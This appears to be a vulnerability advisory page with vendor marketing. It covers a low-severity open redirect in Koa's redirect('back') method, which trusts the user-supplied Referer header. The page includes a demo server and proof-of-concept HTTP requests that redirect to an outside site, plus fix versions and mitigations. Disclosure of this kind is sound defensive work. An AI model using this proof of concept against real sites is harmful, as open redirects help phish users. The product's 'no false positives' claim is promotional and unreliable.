GHSA-jgmv-j7ww-jx2x
LOWKoa Open Redirect via Referrer Header (User-Controlled)
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
koanpmDescription
Summary
In the latest version of Koa, the back method used for redirect operations adopts an insecure implementation, which uses the user-controllable referrer header as the redirect target.
Details
on the API document https://www.koajs.net/api/response#responseredirecturl-alt, we can see:
response.redirect(url, [alt])
Performs a [302] redirect to url.
The string "back" is specially provided for Referrer support, using alt or "/" when Referrer does not exist.
ctx.redirect('back');
ctx.redirect('back', '/index.html');
ctx.redirect('/login');
ctx.redirect('http://google.com');
however, the "back" method is insecure:
back (alt) {
const url = this.ctx.get('Referrer') || alt || '/'
this.redirect(url)
},
Referrer Header is User-Controlled.
PoC
there is a demo for POC:
const Koa = require('koa')
const serve = require('koa-static')
const Router = require('@koa/router')
const path = require('path')
const app = new Koa()
const router = new Router()
// Serve static files from the public directory
app.use(serve(path.join(__dirname, 'public')))
// Define routes
router.get('/test', ctx => {
ctx.redirect('back', '/index1.html')
})
router.get('/test2', ctx => {
ctx.redirect('back')
})
router.get('/', ctx => {
ctx.body = 'Welcome to the home page! Try accessing /test, /test2'
})
app.use(router.routes())
app.use(router.allowedMethods())
const port = 3000
app.listen(port, () => {
console.log(`Server running at http://localhost:${port}`)
})
Proof Of Concept
GET /test HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close
GET /test2 HTTP/1.1
Host: 127.0.0.1:3000
Referer: http://www.baidu.com
Connection: close
Impact
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | koa | ≥ 2.0.0&&< 2.16.2 | 2.16.2 |
| 📦npm | koa | ≥ 3.0.0-alpha.0&&< 3.0.1 | 3.0.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for koa. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update koa to 2.16.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jgmv-j7ww-jx2x is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jgmv-j7ww-jx2x is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jgmv-j7ww-jx2x. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jgmv-j7ww-jx2x in your dependencies?
O3 detects GHSA-jgmv-j7ww-jx2x across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.